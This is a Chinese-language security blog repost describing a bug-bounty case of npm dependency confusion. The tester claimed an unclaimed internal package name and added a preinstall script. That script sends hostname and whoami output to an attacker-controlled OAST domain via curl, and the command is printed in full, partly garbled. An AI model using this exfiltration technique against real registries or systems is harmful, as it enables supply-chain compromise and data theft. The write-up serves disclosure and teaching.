通过供应链发起的RCE攻击

admin 2025年2月18日23:12:30评论8 views字数 980阅读3分16秒阅读模式

前言

依赖项混乱是一种软件供应链漏洞,当公司的内部软件包从公共存储库(例如NPM)而非私有注册中心时,就会发生这种漏洞。

如果软件包管理器(例如NPM,PIP或其它)默认为从公共源中拉出和具有相同名称的软件包,则极可能发生这种情况。

在依赖项混淆攻击中,攻击者可以创建一个与公司内部软件包同名的恶意软件包,并将其发布到公共注册中心中。

如果公司系统从公共注册中心解析该软件包,就可能下载并执行攻击者的代码,从而导致远程代码执行(RCE)等安全风险。

通过供应链发起的RCE攻击
原流程图
通过供应链发起的RCE攻击
翻译后的流程图

如何确定漏洞

在渗透测试期间,白帽小哥发现目标公司的一个JavaScript文件,并注意到它引用了存储在 /node_modules/@confidential-package-name 。

这表明该公司正在使用内部NPM软件包,检查了该内部软件包是否已在公共NPM注册中心上发布,发现它在NPM上为“无人认领”(unclaimed)的。

这种无人认领的身份表明任何人都可以创建一个具有相同名称的软件包,并通过欺骗公司的系统从公共NPM注册中心下载和执行代码而不是内部来源来引用依赖项。

如何利用

为了确认该漏洞,白帽小哥使用与内部软件包@confidential-package-name相同的名称创建了一个恶意NPM软件包。

然后,将该软件包发布给了公共NPM注册中心,“嵌入”了在安装时自动执行的预安装脚本。

脚本很简单:

curl — data-urlencode “info=$(hostname && whoami)” http://<attacker-controlled-domain>.oast.funcurl - data-urlencode“ info = $(hostName%26%26 whaami)”

该脚本会将安装软件包的服务器的主机名和用户信息发送到白帽小哥控制的域服务上。

一旦该软件包在NPM可用后,经过耐心等待,在几个小时到几天之内,就会收到该公司生产和非生产环境的多个请求,从而确认他们的系统正在下载和执行恶意软件包。

通过供应链发起的RCE攻击
接收到的多个请求信息

这些请求包含了主机名和用户名之类的详细信息。

通过供应链发起的RCE攻击
请求包含重要信息

获得了这些信息后,就可以提交漏洞报告了。白帽小哥在一天内报告了3个同类漏洞,一周内,漏洞便被接受,小哥也顺利收获了$2,500的赏金奖励。

通过供应链发起的RCE攻击
赏金奖励

原文始发于微信公众号(迪哥讲事):通过供应链发起的RCE攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月18日23:12:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过供应链发起的RCE攻击https://cn-sec.com/archives/3746299.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息